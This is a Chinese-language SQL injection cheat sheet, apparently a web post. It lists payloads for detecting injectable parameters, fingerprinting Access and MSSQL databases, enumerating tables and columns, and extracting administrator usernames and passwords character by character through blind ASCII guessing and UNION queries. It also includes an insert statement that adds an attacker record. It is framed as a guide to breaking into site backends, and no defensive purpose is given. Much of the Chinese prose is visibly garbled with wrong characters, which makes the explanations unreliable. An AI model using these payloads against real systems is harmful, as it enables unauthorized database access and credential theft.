SQL注入指令

1、类型:

   数字型:and 1=1 and 1=2 断定是否存在注入

   字符型:’ and ‘1’=’1 ‘ and ‘1’=’2

   搜索型: 关键字%’ and 1=1 and ‘%’=’% 关键字%’ and 1=2 and ‘%’=’%

 

2、IIS报错情况下使用:

   and user>0 (判断是ACCESS还是MSSQL)

 

3、不报错则使用分别数据库特性来判定

   and (select count(*) from msysobjects)>0 (返回权限不足access数据库)

   and (select count(*) from sysobjects)>0 (返回正常则为MSSQL数据库)

   and db_name()>0 (返回数据库名)

   and 0<>(select @@version)– (判断版本信息)

   and db_name()>0 (返回数据库名)

************顾:猜解之前先要找到后台地址,不然白忙了**********

 

4、ACCESS注入:

(1)猜解表名(正常则设有admin,不健康则不存在)

   and exists (select * from [admin])

   and (Select Count(*) from Admin)>0

(2)猜解字段:(字段username存在则正常,不健康则无有)

   and (Select username from Admin)>0

   and exists (select username from [admin])

(3)猜解用户称与密码长度

   and (select top 1 len(username) from Admin)>0

   and (select top 1 len(password) from Admin)>0

 

5、  原理:如果top 1的username长度大于0,则法建立;接着就是>1、>2、>3这样测试下去,一直到基准不建了,比如>4起,>5免立,就是len(username)=5,即用户称长度也5.获取username的长度后,用mid(username,N,1)截取第N员字符,再asc(mid(username,N,1))得到ASCII码.

 

6、猜解用户

   and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,

   当输入到109不时,显示错误,而108之前展示对,说明第一独字符的ASCII码为109,得到第一个字符是m。

   同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…

   到114之下不起,说明第二只字符的ASCII码值为114,字符为r。

   注意的是英文与数字之ASCII码在1-128底间…

 

7、MSSQL注入:

   having 1=1– 【爆出一个表名及字段,如:列 ‘users.ID’ 在甄选列表中没用】

   group by users.ID having 1=1–

   group by users.ID, users.username, users.password, users.privs having 1=1–

   insert into users values( 666, attacker, foobar, 0xffff )– 【插入新记录】

 

8、猜解表名:

   SQL SERVER的各个一个数据库都见面发用户表和系统表,在系表sysobjects中, 数据库内创建的每个对象(约束、默认值、日志、规则、存储过程相当)在sysobjects表中占一执,那么也就是说当前数据库的表名都见面在该表内发生存在。我们常常因此到之参数有三独,name (数据表的讳),xtype( 数据表的路 u为用户表),id( 数据表的目标标志)。

and (select top 1 name from sysobjects where xtype=’u’)>0 (得到第一独表名:比如user)

and (select top 1 name from sysobjects where xtype=’u’ and name not in (‘user’))>0 得到第二单表名,后面的以此类推。

 

9、猜解列名:

从而到网自带的2个函数col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )参数table_id是说明底标识号,column_id是排的标识号,object_id(admin)就是赢得admin在sysobjects 中的标识号,column_id=1,2,3表明admin的第1,2,3列。

and (select top 1 col_name(object_id(‘admin’),1) from sysobjects)>0 【得到admin字段的率先个列名“username”依次类推,得到“password”“id”等等】

 

10、猜解字段内容:

    and (select top 1 username from [admin])>0 【直接得到用户称】

    and (select top 1 password from [admin])>0 【直接获得密码】

    UNION联合查询:

    select name,password,id from user union select user,pwd,uid from 表名

and 1=1 union select 1,2,3,4,5… from 表名 (数值从1开慢慢加,如果加到5返回正常,那就是在5只字段)

 

11、ASCII逐字解码法:

 

(1)猜解列长

 

and (select top 1 len(列名)from 表名)>N

其中N是数字,变换这个N的值猜解列长度,当N为6不易,为7荒谬,则长为7

猜解第二长记下就是该利用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)

 

(2)猜解用户和密码

 

ASC()函数和Mid函数,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII码

猜解语句为:and (select top 1 asc(mid(字段,1,1)) from 数据库名)>ASCII码

距离判断语句:….between……and……

中文处理法:当ASCII转换后也“负数”使用abs()函数取绝对值。

条例:and (select top 1 abs(asc(mid(字段,1,1))) from 数据库名)=ASC码

 

(3)ASCII逐字解码法的应用:

     1、猜解表名:and (select count(*) from admin)<>0

     2、猜解列名:and (select count(列名) from 表名)<>0

     3、猜解用户个数:and (select count(*) from 表名)>1,2.. 2正常,3错误,表中有3条记录。

     4、猜解用户名的长短:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。

     5、猜解用户称:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0

     最后交给:and (select asc(mid(列名,1,1)) from 表名)=ascii的价

     6、猜解管理员的密码:

     按照点的规律,把方的口舌中(asc(mid(列名,1,1)的列名换成PASSWORD就能收获密码了。

相关文章